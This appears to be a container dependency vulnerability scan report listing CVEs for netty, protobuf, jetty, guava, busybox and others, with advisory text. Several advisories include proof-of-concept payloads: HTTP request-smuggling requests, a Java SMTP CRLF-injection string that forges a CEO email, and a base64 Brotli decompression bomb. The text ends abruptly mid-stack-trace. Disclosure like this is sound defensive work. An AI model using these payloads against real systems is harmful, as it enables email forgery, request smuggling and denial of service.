Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.124.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.971%
EPSS Percentile76th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.124.Final
+medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') + + + + + + + + +
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.054%
EPSS Percentile17th percentile
+ +
Description +
+ +### Summary + +The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. + +### Details + +The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) + +The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. + +### PoC + +Simple reproducer: + +```java +public static void main(String[] args) { + + EmbeddedChannel client = new EmbeddedChannel(); + client.pipeline().addLast(new HttpClientCodec()); + + EmbeddedChannel server = new EmbeddedChannel(); + server.pipeline().addLast(new HttpServerCodec()); + server.pipeline().addLast(new ChannelInboundHandlerAdapter() { + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + System.out.println("Processing msg " + msg); + } + }); + + DefaultHttpRequest request = new DefaultHttpRequest( + HttpVersion.HTTP_1_1, + HttpMethod.GET, + "/s1 HTTP/1.1\r\n" + + "\r\n" + + "POST /s2 HTTP/1.1\r\n" + + "content-length: 11\r\n\r\n" + + "Hello World" + + "GET /s1" + ); + client.writeAndFlush(request); + ByteBuf tmp; + while ((tmp = client.readOutbound()) != null) { + server.writeInbound(tmp); + } +} +``` + +### Impact + +Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.124.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at 